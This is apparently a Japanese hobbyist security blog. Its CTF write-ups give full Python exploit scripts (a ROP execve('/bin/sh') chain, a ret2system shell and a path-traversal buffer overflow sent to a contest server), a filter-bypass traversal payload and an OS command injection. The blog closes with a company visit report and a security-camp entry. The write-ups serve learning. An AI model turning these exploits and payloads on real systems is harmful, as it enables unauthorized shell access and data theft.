HappyNote3966’s blog

備忘録、作業記録的なことを書きます。低レベル注意。ご指摘等ございましたらやんわりとお願いします(´;ω;`)

TAMUctf 18 [pwn 125] pwn5 復習

前回に引き続き、TAMUctf 18の[pwn 200] pwn5を復習する。 参考にしたサイトはこちら。

https://devel0pment.de/?p=407#pwn5

まずはバイナリの初動調査。

$ file pwn5
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=732cfe3cc8d9338ec19a157615505d10d2dc396b, not stripped

32bitstaticなバイナリ。stripされてない。

続いてセキュリティ機構の調査をする。

$ checksec.sh --file pwn5
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   pwn5

NXが有効なため、シェルコードを持ち込んで実行するということはできないらしい。

それからディスアセンブルをしてみると、change_major脆弱性を発見した。

0804889c <change_major>:
 804889c:   push   ebp
 804889d:   mov    ebp,esp
 804889f:   sub    esp,0x28
 80488a2:   call   8051260 <getchar>
 80488a7:   sub    esp,0xc
 80488aa:   lea    eax,[ebp-0x1c]
 80488ad:   push   eax
 80488ae:   call   804f7e0 <_IO_gets>
 80488b3:   add    esp,0x10
 80488b6:   sub    esp,0x4
 80488b9:   push   0x14
 80488bb:   push   0x80f1a04
 80488c0:   lea    eax,[ebp-0x1c]
 80488c3:   push   eax
 80488c4:   call   8048260 <.plt+0x80>
 80488c9:   add    esp,0x10
 80488cc:   sub    esp,0x8
 80488cf:   push   0x80f1a04
 80488d4:   push   0x80bf508
 80488d9:   call   804efe0 <_IO_printf>
 80488de:   add    esp,0x10
 80488e1:   nop
 80488e2:   leave
 80488e3:   ret

gets関数を使って[ebp-0x1c]にユーザからの入力を読み込んでいる。つまりスタックBOF脆弱性が存在する。

他の処理にフラグを直接読み込むなどの処理は無かった。 なので、ここからシステムコール呼び出しによるexecve("/bin/sh",0x0,0x0)をROPを用いて実行する。

ROPによってexecve("/bin/sh",0x0,0x0)を実行するには、以下のような処理を実行する必要がある。

以上のような処理をできるようROPガジェットを探し、アドレスをまとめると以下のとおりになった。

  • mov eax,0x7; ret(0x80932f0),inc eax; pop edi; ret(0x805d39c)

  • pop edx; pop ecx; pop edx; ret(0x80733b0)

  • int 0x80(0x8071005)

また、/bin/shの文字列を実際に格納するのは、グローバル変数として宣言されているfirst_nameもしくはlast_nameを使うことにした。 (今回はfirst_name(0x80f1a20)を使うことにした。)

以上のことをまとめて、exploitコードを書くと以下のようになる。

import socket
import struct
import telnetlib

pop_edx_ecx_ebx = 0x80733b0
inc_eax_pop_edi = 0x805d39c
int_0x80 = 0x8071005
first_name = 0x80f1a20
mov_eax_0x7 = 0x80932f0

def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("localhost",12345))

    s.send("/bin/sh\n")
    s.send("happynote3966\n")
    s.send("pwn\n")
    s.send("y\n")
    s.send("2\n")

    buf = 'A' * 0x1c
    buf += 'AAAA' # saved ebp
    # ebx = "/bin/sh", ecx = 0x0
    buf += struct.pack("<I",pop_edx_ecx_ebx)
    buf += struct.pack("<I",0x0)
    buf += struct.pack("<I",0x0)
    buf += struct.pack("<I",first_name)
    # eax = 0xb
    buf += struct.pack("<I",mov_eax_0x7)
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    buf += struct.pack("<I",inc_eax_pop_edi)
    buf += 'AAAA'
    # int 0x80
    buf += struct.pack("<I",int_0x80)

    buf += "\n"

    s.send(buf)
    print("[+] GOT SHELL!")
    shell(s)

if __name__ == '__main__':
    main()

イメージ的には、以下のようになる。

[ebp-0x1c]        AAAA
[ebp-0x18]        AAAA
[ebp-0x14]        AAAA
[ebp-0x10]        AAAA
[ebp-0x0c]        AAAA
[ebp-0x08]        AAAA
[ebp-0x04]        AAAA
[ebp-0x00]        AAAA
[ebp+0x04]        pop_edx_ecx_ebx    <= リターンアドレス
[ebp+0x08]        0x0                <= edx=0x0
[ebp+0x0c]        0x0                <= ecx=0x0
[ebp+0x10]        first_name         <= ebx="/bin/sh"
[ebp+0x14]        mov_eax_0x7        <= eax=0xb
[ebp+0x18]        inc_eax_pop_edi
[ebp+0x1c]        AAAA
[ebp+0x20]        inc_eax_pop_edi
[ebp+0x24]        AAAA
[ebp+0x28]        inc_eax_pop_edi
[ebp+0x2c]        AAAA
[ebp+0x30]        inc_eax_pop_edi
[ebp+0x34]        AAAA
[ebp+0x38]        int 0x80           <= システムコール呼び出し

これらを実行してみる。

$ python exploit.py 
[+] GOT SHELL!
id
uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966),...

ちゃんとシェルが起動された。

反省

自作していたROP問がopenreadwriteを使用してフラグを入手する想定だったため、 真っ先に思い浮かんだものがそっちのやり方になってしまった。 ROPでシェルを起動できそうなら、その方法でexploitを進める癖をしないといけないと思った。

TAMUctf 18 [pwn 125] pwn4 復習

先日参加したTAMUctf 18のpwn4とpwn5が解けなかったので復習。 今回はそのうちのpwn4について。

簡易シェルのサービスが提供されている。 1~5の数字もしくはコマンド名を入力することで、system関数を通じてその結果を表示するものだった。

雑にデコンパイルすると、以下のようになった。

sub_080485ef_reduced_shell(){
    //stack := 0x28
    puts("I am a reduced online shell");
    puts("Your options are :");
    puts("1. ls\n2. cal\n3. pwd\n4. whoami\n5. exit");
    printf("Input > ");
    gets(ebp-0x1c);
    if(strcmp(ebp-0x1c,"ls") == 0 || strcmp(ebp-0x1c,"1") == 0){
        ls();
    }
    else if(strcmp(ebp-0x1c,"cal") == 0 || strcmp(ebp-0x1c,"2") == 0){
        cal();
    }
    else if(strcmp(ebp-0x1c,"pwd") == 0 || strcmp(ebp-0x1c,"3") == 0){
        pwd();
    }
    else if(strcmp(ebp-0x1c,"whoami") == 0 || strcmp(ebp-0x1c,"4") == 0){
        whoami();
    }
    else if(strcmp(ebp-0x1c,"exit") == 0 || strcmp(ebp-0x1c,"5") == 0){
        exit(0x0);
    }
    else{
        puts("Unkown Command");
        putchar('\n');
    }
}

この部分がユーザ入力の比較になっていて、入力した値によって以下のような処理が実行される。 (例はwhoamiもしくは4が入力された場合)

sub_080485d6_whoami(){
    system("whoami");
}

ebp-0x1cに対してユーザ入力を受け付けているが、その際に使用している関数がgetsとなっている。 つまり、スタックBOF脆弱性がある。

さらに、このバイナリには/bin/shの文字列が仕込まれていた。

$ strings -tx -a pwn4 | grep "/bin/sh"
   1038 /bin/sh
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
...
  [24] .got.plt          PROGBITS        0804a000 001000 000030 04  WA  0   0  4
  [25] .data             PROGBITS        0804a030 001030 000010 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001040 000008 00  WA  0   0  4

加えて、plt領域のsystem関数のアドレスは0x08048430となっていた。

...
08048430 <system@plt>:
 8048430:       jmp    DWORD PTR ds:0x804a01c
 8048436:       push   0x20
 804843b:       jmp    80483e0 <.plt>
...

system関数で/bin/shを起動して、シェル上でフラグを読み込むのが正解らしい。

以下の点を踏まえてexploitコードを書いてみる。

  • スタックBOFがあり、ebp-0x1cの領域から読み込まれている

  • /bin/sh0x804a038の場所にある

    • .dataのAddrの値 + (/bin/shのオフセット - .dataのオフセット) = 0x0804a030 + (0x1038 - 0x1030) = 0x804a038
  • system関数は0x08048430の場所にある

import socket
import struct
import telnetlib

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("localhost",12345))

    s.recv(1024)

    system_addr = 0x08048430 # system
    binsh_addr = 0x0804a038 # "/bin/sh" addr

    buf = 'A' * 0x1c # buf
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",system_addr)
    buf += 'AAAA' # return address (no meaning)
    buf += struct.pack("<I",binsh_addr)

    buf += "\n"

    s.send(buf)

    print("[+] GOT SHELL!")

    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


if __name__ == '__main__':
    main()

図で示すとこんな感じになる。

[ebp-0x1c]    AAAA
[ebp-0x18]    AAAA
[ebp-0x14]    AAAA
[ebp-0x10]    AAAA
[ebp-0x0c]    AAAA
[ebp-0x08]    AAAA
[epb-0x04]    AAAA
[ebp-0x00]    AAAA        <= saved ebp
[ebp+0x04]    (system)    <= リターンアドレス
[ebp+0x08]    AAAA        <= system関数からのリターンアドレス
[ebp+0x0c]    (/bin/sh)   <= system関数への引数

実行してみると、/bin/shが起動していることが分かる。

$ python exploit.py 
[+] GOT SHELL!
Unkown Command

id
uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966)...

あとはフラグをcatコマンドなどで読み取るだけ。

反省

競技時間中にpwn4ができなくて躓いていた。 どうやらアドレスを正確に指定しなかったために/bin/shが起動できなかったらしい。 焦らずにちゃんと値を確認する癖をつけたい。

Pragyan CTF 2018 Writeup

Pragyan CTF 2018に参加しました。 個人チーム0p3r4t0rとして、950点を獲得し、1282チーム中129位となりました。

Fri, 02 March 2018, 07:30 UTC — Sat, 03 March 2018, 19:30 UTC 
On-line
A Pragyan CTF event.
Format: Jeopardy Jeopardy
Official URL: https://ctf.pragyan.org/
This event's weight is subject of public voting!
Rating weight: 6.68 
Event organizers Pragyan

解けた問題は以下のとおりです。

  • [binary 200] Old school hack

  • [forensics 100] Quick Response

  • [reverse 50] Assemble your way to the flag

  • [stego 150] Scientist’s research

  • [web 100] Unfinished business

  • [web 150] Authenticate your way to admin

  • [web 200] El33t Articles Hub

以下、writeupです。

[binary 200] Old school hack

配布されるバイナリは、以下の手順でレコードを読み出すというものだった。

  1. パスワード入力画面(スタックBOFあり)
  2. 読み込みたいレコードの番号を入力する
  3. レコードの内容が表示される

1.の段階でスタックBOF脆弱性が存在しているが、Canaryが配置されているためリターンアドレスの書き換えはできない。また、パスワードの比較にはstrncmpを使用しており、パスワードの戦闘10文字が正しく入力されていれば、後は何を入力していても認証が通る。

ちなみにそのパスワードはkaiokenx20だった。ドラゴンボール?(よく分かってない)

2.の段階で選べるレコードの中にはフラグを出力するらしいところがあるが、その直後にexit(0)してしまうために意味がない(ただし、フラグがflag.txtというファイルの中にあることは推測できる)。

3.の段階では、仮に2の段階でflag.txtを指定できたとしても、36文字のファイル名でなければexit(0)してしまう。

というわけで、exploitコードは以下の通り。

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("128.199.224.175",13000))


print(s.recv(1024))
buf = "kaiokenx20"
buf += "A" * 6
buf += "./" * 14
buf += "flag.txt"
buf += "\n"

s.send(buf)
print(s.recv(1024))
s.send("0\n");
print(s.recv(10000000))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
s.close()

汚い上に安定しなかったが、一応これで出力された。 考え方としては、下のようにレコード名にあたるスタック上の領域をパスワード入力の際に上書きした。

[rbp-0x48] 0x0        <= レコード番号入力
[rbp-0x40] kaiokenx        <= パスワード入力
[rbp-0x38] 20AAAAAA
[rbp-0x30] ././././        <= レコード名
[rbp-0x28] ././././
[rbp-0x20] ././././
[rbp-0x18] ././flag
[rbp-0x10] .txt\0

フラグはpctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}だった。

パストラバーサルを利用して文字列の長さ制限を回避することを思いつくのに時間がかかった。 (最初はflag.txtmd5sumにかけ、ファイル名として使うのかと思った。もっとひらめきを得たい)

[forensics 100] Quick Response

不完全なQRコードが画像で配布される。このQRコードが読み取れればフラグが得られるらしい。

f:id:HappyNote3966:20180304182950p:plain

QRコードの知識はあまりなかったので、以下のサイトを参考にして修正した。

www.keyence.co.jp

要約すると、以下の3つを修正することで読み取れる。

  • ファインダパターンの修正

  • アライメントパターンの修正

  • タイミングパターンの修正

修正後は以下のようになった。

f:id:HappyNote3966:20180304183246p:plain

修正したQRコードを読み取ると、以下のような文字列が流れてきた。

The flag is:
pctf{r3p4ir1nG~Qr_1s-my_h0bBy}

フラグはpctf{r3p4ir1nG~Qr_1s-my_h0bBy}だった。

ここでは元のQRコードを目視で読み取っていたので、時間がかかった。スクリプトか何かで自動化させるべきだったのかもしれない。 しかしQRコードの勉強になった。何気なく使っているものの仕組みを知るのは本当に面白い。

[reverse 50] Assemble your way to the flag

バイナリが渡される。そのバイナリを実行してみると、

Look for something else....

と表示されるだけだった。逆アセンブルして中身を確認してみると、文字列が表示される処理の前では1バイトずつxorしてスタック上にプッシュするという処理が行われていた。 つまり、文字列表示の直前でスタックの内容が見通せればいいので、以下のようにした。

  1. 出力関数(printf)にブレークポイントを仕掛ける
  2. gdb-pedaの機能のtelescopeを用いて、スタックの中身を一気に見た

フラグはpctf{l3geNds_c0d3_1n_4Ss3mb1y}となった。

[stego 150] Scientist’s research

大量に数値が書き込まれたxlsxファイルが与えられる。 その数値をざっと見ていると、0の値だけがやたらと多いことに気づいた。セルの大きさを調整し、条件付き書式で0の値を持ったセルのみ色を塗ってみた。 色を塗ったセルは文字を形作っており、読むとフラグになっていた。

f:id:HappyNote3966:20180304184106p:plain

フラグはpctf{ord3r_out_of=ch4os+this_world}だった。

MS Excelが必要かと思ったが、Libre Officeでも条件付き書式が使えるとは思わなかった。

[web 100] Unfinished business

まずはログインしろと言われる(ログイン時のアカウントはCTFのアカウントそのものを使う)。 ログインした先のページには特段フラグのようなものはなかった。 Burpを使ってよく見てみると、ログイン直後にはリダイレクトされていることがわかった。

f:id:HappyNote3966:20180304184510p:plain

そのページの中にはちゃんとフラグが書かれていた。

フラグはpctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}だった。

[web 150] Authenticate your way to admin

homepage.phplogin.phpのソースが配布された。 [web 100]と同様にCTFのアカウントを用いてログインした先のページでは、セッションの中にあるid_typeteam_nameidadminlogged_intrueになっていればフラグが出力されるようになっているが、一度のログイン試行でこの3つの条件を成立させることはできないようになっていた。 このページの特性として、セッション番号はログイン時に再生成されず、使い回しができるようになっていた。 そのため、以下のような手順を踏んで条件の成立を試みた。

  1. 自分たちのCTFアカウントを用いてログインする(ログインした後は、セッションにlogged_inの値がtrueになる)
[logged_in = ture]
[id_type = team_name]
[id = 0p3r4t0r]
  1. ログアウトせずにチーム名をadminとしてログインする(この時点では弾かれてしまうが、logged_inはtrueのまま)
[logged_in = ture]
[id_type = team_name]
[id = admin] <=ここを変更する
  1. homepage.phpに直接アクセスすると、フラグも一緒に出力される。

f:id:HappyNote3966:20180304184958p:plain

フラグは、pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}だった。

[web 200] El33t Articles Hub

記事をいくつか見れるページのようで、このソースを見てみるとfavicon.phpというPHPスクリプトが存在することが分かる。

f:id:HappyNote3966:20180304190716p:plain

そのPHPスクリプトidというパラメータに数値を与えると、pngファイルが得られる事が分かった。 このidパラメータに大きな数字を指定し、通信の内容をWiresharkを用いてみてみると、png,icoファイルの他に.phpファイルを読み込めるという旨のエラーメッセージが返ってきていた。 そこで、idfaviconを指定し、favicon.phpソースコードを取得することに成功した。

f:id:HappyNote3966:20180304190744p:plain

更に、index.phpが存在すると推測し、index.phpソースコードを取得し、index.phpの内容からfetch.php,helpers.phpも取得した。 得られた4つのソースコードを見てみると、以下のようなことが分かった。

  • secret/flag_7258689d608c0e2e6a90c33c44409f9d.txtというファイルがフラグである

  • index.phpで指定されるfileのパラメータはサニタイズされる

    • php:secret/flag_7258689d608c0e2e6a90c33c44409f9dの文字列を発見すると「イタズラしやがって!(意訳)」と怒られる

    • ./../は取り除かれる

具体的には、以下のコードになっていた。

    ...
    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    // Sanitize input file name
    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }
    ...

これらを回避するため、以下のようなパラメータを指定した。

file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d

f:id:HappyNote3966:20180304191024p:plain

アクセスするとフラグが出力された。

フラグはpctf{1h3-v41id41i0n_SuCk3d~r34l-baD}だった。

感想

前のCTFよりは進歩できたのかなと思う。 ただ、[crypto]の問題が一問も解けなかったのが悔しかった。次回はcryptoも解けるようになりたい。 そしてやっぱりひらめくのに時間がかかることが多かった。もうちょっと早くひらめきが生まれるようになりたい。

あとreverseの問題があまりなかった。もう少し欲しかった。

Xiomara CTF 2018 Writeup

Xiomara CTF 2018に個人チーム0p3r4t0rとして参加し、151点を入れて147位でした。

Fri, 23 Feb. 2018, 17:00 UTC — Sat, 24 Feb. 2018, 17:00 UTC 
On-line
A XiomaraCTF event.
Format: Jeopardy Jeopardy
Official URL: http://xiomara.xyz/

以下、Writeupです。

[Misc 1] Everyone is winner

IRCに接続すると、運営からのメッセージにフラグが入っていた。それを提出して終わり。 フラグは失念してしまった。

[Web 50] Flag Checker V1.0

JSFuckで難読化されたJavaScriptでフラグをチェックするというサイトが提示される。 Google Chromeデベロッパーツールを使ってステップ実行を使いながら、フラグとダイアログの入力を比較する処理まで実行する。 比較処理の部分でフラグがそのまま見えるので、それを提出。 Flag:xiomara{0bfusc@tion_c@n_b3_e@sy_@s_j5fuck}

[Web 100] Flag Generator Software

「フラグを配信するけど、もう時間切れだ、ごめんよ(意訳)」的なサイトが提示される。 メールアドレスの入力フォームに関しては、ブラウザ側でのバリデーションがされているようだったが、サーバ側ではOSコマンドをそのまま使っており、OSコマンドインジェクションの脆弱性があることがわかった。 なので、Fiddlerを使ってブラウザ側の入力バリデーションを回避し、その上で;lsのように;と任意のコマンドを投げる。 遷移するページではコマンドの実行結果が示されているので、それを見ながらフラグを生成すると思わしき実行ファイルに対してstringsコマンドでフラグの文字列を抜き出した。 Flag:xiomara{command_injections_are_bad}

反省

フラグや問題文を失念したり、そもそもの解法を忘れかけたり(思い出すのに時間がかかった)していた。 Web系の問題はCTFサーバがクローズすると使えなくなるのを前提にしないとあとでWriteupを書くのに苦労するので、 解法や実行イメージのスクショも含めて保存しながら競技を進めるべきだと感じた。

そして簡単な問題しか解けなかったので圧倒的成長したい。

NeverLAN CTF 2018 writeup

NeverLAN CTF 2018にチームHarekazeとして参加しました。

 Fri, 23 Feb. 2018, 19:00 UTC — Tue, 27 Feb. 2018, 00:00 UTC 

On-line

A NeverLAN CTF event.

Format: Jeopardy Jeopardy

Official URL: http://neverlanctf.com/

チームで4410点獲得し、47位でした。 私はそのうち1問だけ解いて100点を入れました。(よわひ)

以下はwriteupです。

[Trivia 100] What is it?

Description: For every Vulnerability there is an exploit. Name the thing that is a non-profit project that is provided as a public service

最初はMetasploitかと思ったけど違った。 他に思いつくのはよく使うExploit-DBだったので投げてみたら通ってしまった。

https://www.exploit-db.com/

反省

あんまり解けなかった。チームの人すごいと思いながらTrivia系の問題をすることしかできないのが辛かった。 次はジャンル問わずいろんな問題を見てみる。

そしてこれはwriteupと言えるのか…

サイバーディフェンス研究所見学記

 3月某日、サイバーディフェンス研究所(以下CDI)の方にお邪魔させて頂きました。

www.cyberdefense.jp

見学させてもらうまでの経緯

 私が昨年の8月に参加したセキュリティキャンプ全国大会では、CDIの福森さんが「ZENIGATAになりたくて」という題で講義をされました。

happynote3966.hatenadiary.com

 CDIの福森さんの講義を聞いた後、CDIのポロシャツを欲しいとTwitterで呟いたところ…

 ポロシャツなどCDIグッズを頂きました。夏の間はキャンプTシャツとCDIポロシャツを着て過ごしていました。

 話はそこで終わりではなく、そこでCDIのオフィスに見学に来ませんか?とのお誘いを受けました。滅多にない機会なので、お邪魔させてもらうことに。
(見学の約束は夏にしたのですが、僕の個人的な都合で3月上旬まで伸ばしてもらいました。申し訳ないです…)

 CDIのことを知るようになったのはキャンプに参加してから。あまり詳しくは知らなかったけれども、セキュリティの会社だということは想像が付きました。
きっかけはNHKで放送されていたプロフェッショナル~仕事の流儀~でのこと。名和さんがセキュリティ業務に対してストイックに取り組む姿勢を見てすごいなぁと思い、ちょっとだけ調べてみたら、名和さんがCDIに在籍されていたのを知りました。

ちなみに、見たのはこちら↓

www.nhk.or.jp

オフィスにお邪魔すると

 CDIオフィスの場所は、東京駅前の八重洲センタービル4階。
(正確には〒103-0028 東京都中央区八重洲1-6-6 八重洲センタービル4Fです)

https://goo.gl/maps/h6YLJxCYGNT2

 許可を貰ってるとはいえ、企業のオフィスに一人でお邪魔するなんてことは初めてなので少し緊張しました。
エレベータで4階まで上昇し、案内掲示に従って進むと…CDIのオフィス入り口がありました。そこには、CDIのロゴが壁に埋め込まれています。

f:id:HappyNote3966:20170316155450j:plain

ハッカーが使うプロンプトを連想させるような色の組み合わせ。カッコいいですね…( *´艸`)

f:id:HappyNote3966:20170316155446j:plain

 そこで迎えてくださったのは、CDI営業部の佐藤さん。見学まで何度かやり取りをさせて頂いた方です。また、同じくエンジニアの丑丸さんと松隈さんにも同席して頂いて、CDIの概要などを伺うことができました。

CDIってどんな企業?

 CDIのことを知った時、「CDIはセキュリティの企業」というイメージを持っていても、じゃあ何をやっているかと言われると…「サイバー『ディフェンス』なのだから、守ってる企業なんじゃないのかな」というイメージが強かったのが本音です。

 では実際のところどうなのかな?と、佐藤さんからお話を伺いました。

 CDIは主に4つの活動を中心として、その内訳としては、

  • セキュリティ診断(脆弱性診断)

 自分たちのシステムやサービスがちゃんと安全な状態か実際に確かめるものです。一般的なネットワーク診断やプラットフォームの脆弱性診断は、ホスト単体で安全かどうかを確かめますが、CDIでは複数のホストやネットワーク機器を含む組織のネットワーク全体を対象として診断を実施します。具体的には、ホスト単体への侵入を試行するだけではなく、あるホストから入手した情報に基づき、別のシステムなどに攻撃を仕掛け、新たに情報を入手し、攻撃…といった感じで、実際のハッカーが全力で攻撃を仕掛けたことを想定した診断を行います。びっくりしたのがハードウェアの診断です。製造メーカーからの依頼に基づき、ハードウェアをオシロスコープ、等で何の通信をしているか調べたりもするそうです。

io.cyberdefense.jp

  • トレーニング(人材育成)

 セキュリティの技術的なことを学べる講義です。企業など様々な団体がこれを受講しているそうで、ほとんど定員が埋まるそうです。どんな講義があるかというと、マルウェアやプログラムの解析、Webやネットワークの攻撃、セキュアコーディング、メモリフォレンジックなど、実際に手を動かして学べます。企業によってはプライベートな講義内容にすることもできるそうで、その中で好評だったものが正式なコースになることもあるそうです。

  • インシデントレスポンス(緊急対応支援)

 セキュリティの事故(インシデント)が起こったとしても、その被害を最小限に食い止めたり、再発を防止したりするための対応(レスポンス)活動のことです。セキュリティ診断の時と同様に、ログやマルウェアなど個々の解析だけなく、対象となる全て(ハード・ソフトなど)を調べ、様々な情報を入手・解析します。

 企業や団体に応じた問題を解決・サポートするものです。事例がいくつかあったのでピックアップすると、サイバー攻撃の対処演習や、その演習環境の企画開発、CSIRTの構築や機能の強化などです。面白そうなものになると、組織内でのCTFを実施するための支援や、CDIハッカーによる講演やデモンストレーションなどもあるそうです。そういえば、サイトのなかにMAGUROというオンラインのCTFもあるみたいです。

MAGURO

f:id:HappyNote3966:20170316160631p:plain

 他にも色々ありますが、共通して言えることは、「人間がもたらす脅威には人間しか対処できない」という理念の元で様々なサービスを行っているということです。

CDIってどんな人が集まってるの?

 CDIの企業についてを伺った後、同じくエンジニアの福森さん、ラウリさんと一緒にお話をさせて頂きました。

 いきなり結論ですが、CDIの方はとてもレベルの高い方々の集まりだということが分かりました。お話をしているときは↓の繰り返しです。

 未熟な僕が何かしらの技術的な単語を使って質問を投げる→それに対して濃い内容で返ってくる→理解しきれず圧倒される

 何度か質問しても結果は同じで、今考えてみると貴重な経験をしているんだなぁという気持ちになります。普通の学生が5人の本職の方と同席しているのですから、非日常的な空間を体験してきました。

 でも、みなさん色んな経歴をお持ちでしたが、共通しているのは技術が好きだということ。
分からないなりに話を聞いていてそれは感じました。好きだからこそたくさん話してくださったのだと思います。その話の内容が分かったらもっと楽しいだろうなぁとも思いました。

 …で、やっぱりCDIという企業を知ったからには、採用関係のお話も気になるところ。でもなんだか採用しているイメージがあまりないので、色々と聞いてみることに。

 そもそも採用をしているかということについては、YES。それはウェブサイトを見ても分かるのですが、見たところ募集時期が「随時」となっています。
「ということは、大学を卒業してから就職するのはできないのですか?」
CDIは新卒も求めています」
あっ、新卒も大丈夫なんですね。
ただ、一般のIT企業とは異なり、一定以上の技術力・能力が求められるため、万人受けするような企業ではないとのこと。その逆から言えば、やる気があって、セキュリティで役に立ちたいと思う人であればむしろ来てほしいとも仰っていました。「我こそは!」という方なら新卒でも中途でも挑戦できるということですね。
(いつか会社説明会もやりたいなーとも…)

 また、セキュリティなどの分野に頑張る学生を支援したいとのことです。セキュリティキャンプ全国大会で講演をしたり、今回のように僕が企業の見学をさせてもらえたのもその一環だと思います。

最後に

 色々とお話を聞いて、大切だなぁと思ったことをいくつか取り上げます。

  • 数学、英語は大切

 福森さんは今機械学習を勉強しているのだとか。大学で学んだ微積線形代数などの知識は、当時勉強する理由が分からないまま勉強していましたが、今はその必要性を強く感じているそうです。数学や英語に限らず、大学で学ぶことに無駄なことはないみたいです。

  • ハッキング技術は悪用しない事

 当然といえば当然ですが、ハッキングが成功したときに得られる達成感に魅了されて、悪いことをしない事が大切です。あくまで技術は良い方向に使いましょう。

 全体として、たくさんお話を聞かせて頂いて、普通に勉強するだけでは得られない貴重な経験をさせて頂きました。この場を借りて、佐藤さん、丑丸さん、松隈さん、福森さん、ラウリさんにお礼を申し上げます。ありがとうございました!

おまけ

 お土産を貰いました。夏にCDIグッズを貰っているのに、今回も頂きました。ありがとうございます!

f:id:HappyNote3966:20170316160929j:plain

CDIパーカーです。CDIグッズが充実してきました。春休みはこれを着て過ごします。

 それと、ラウリさんの持っているデバイスの数が多かったです。スマホ×2、タブレット×1、PC×2。計5台を持ち歩いていました。そしてその中のPC一台が異常でした。形がスタイリッシュな湯たんぽかと思うほど大きく、分厚い。そして性能も桁が違いました。メモリが64GBもあるんですよ。64GBもあれば操作が軽快みたいです。この桁違いのPC、お国では普通のことなんだとか。そのPCが入ったカバンは重すぎて持ち上げることができませんでした。

セキュリティ・ミニキャンプ in 北陸 2016(金沢) 今更ながら参加記

 12月3日、4日に開催された、セキュリティ・ミニキャンプ in 北陸 2016(金沢)に参加してきました。今更ではあるのですが、その報告をさせて頂きます。今後参加を予定している方の参考になれば幸いです。

f:id:HappyNote3966:20161226172531j:plain

f:id:HappyNote3966:20161226172533j:plain

f:id:HappyNote3966:20161226172536j:plain

 

 

応募用紙

 そういえばミニキャンプの応募用紙を晒している人をあまり見ないですね。
折角なので全国大会と同じように晒してみます。項目を選択するようなところは飛ばしています。興味ない方はスクロールしてください()↓

 

1.「Lチカ」とは何か、自分の言葉で説明してください。もしもLチカの初体験があればそれもお書きください。

 「Lチカ」とは、Raspberry Pi(に限る必要はありませんが)のGPIOなどの端子にジャンパーワイヤーなどを用いてLEDと抵抗を接続し、LED、抵抗、Raspberry Piからなる一連の回路が動作するかを確かめる作業のことを指します。そこでLEDが光っているか確認し、回路が正常に動作することを確かめます。

 私のLチカの初体験は今年の10月16日です。IPAの試験日であるにもかかわらず、一部免除のために時間が余ったので、何気なくLチカをやってみようと思ったのがきっかけでした。もとからRaspberry Piは購入済みで、自作問題サーバの運用として使っていましたが、あくまでソフトウェアの範囲での利用でした。
なぜ試験前にLチカをやろうと思ったのかは分かりませんが、少し考えてみると「ここでLチカをやらないと今後もやらない気がする」という結論に至ったので、Webサイトを探してみながらやってみました。

 その時は「すぐ終わるだろ」と安易な気持ちでブレッドボードにLEDと抵抗、ジャンパーワイヤーを指してみました。Webサイトの指示通りにGPIOを操作するPythonスクリプトを作成し、実際に動かしてみましたが、LEDが点灯しませんでした。うまくいかないと思っていると、たくさん並んだGPIOのピンを間違えて配線しており、本来挿すべき場所に挿していませんでした。それが分かるまで時間がかかり、イライラしながらも何度かサイトを読み返しながら間違いがないかを確認していると、ようやくLEDが点灯しました。
 そこで思ったのは、LEDが点灯させるのが楽しいと思ったことです。普通のC言語のようなプログラムでHello Worldを出力させても、パソコンの画面に表れている文字を眺めるだけなので達成感はあまり感じないのですが、物理的に自分が触れられるものだからこそ結果が目に見えて、その場で配線を変えたりしてわざとLEDを消してみたりなど、プログラミングで言うデバッグ作業がとても新鮮で、面白かったのです。
 時間の都合上、Lチカ自体はそこで終わりましたが、当日の試験中も、試験終了後も、帰って早くLチカの続きがやりたいと考えてしまうほど夢中になってしまいました。翌日に提出しなければならない課題があるにもかかわらず、色々と配線を組み合わせて遊んでみました。まるで理科の実験受ける小学生の気分でした。(※もちろん課題はLチカで遊んだ後にやりました)

 そこからは、Lチカを発展させてもっと面白い回路を作ろうとしました。Lチカの話題から少し脱線しますが、ブレッドボードで電子工作をする際に思ったことを挙げてきます。
 ①部品やパーツの数、そしてそれらの配置を工夫しないと、ブレッドボードの中に収めることができないときがありました。逆から言えば、部品やパーツの位置を適切にして、配線を最小限にすれば、キレイでコンパクトな回路が作れると思いました。市場に出ている電気製品の中身は配置や配線を極限まで最適化し、空間と言う資源を節約しているのだろうと思いました。
 ②ジャンパーワイヤーの色を調整することで、回路の中の流れが把握しやすくなると思いました。LEDに繋げる色、電源からの色など、色分けをして配線の全体図を分かりやすくすることは自分の頭の中の整理にもつながり、後で回路を見返したときに理解しやすくなると思いました。
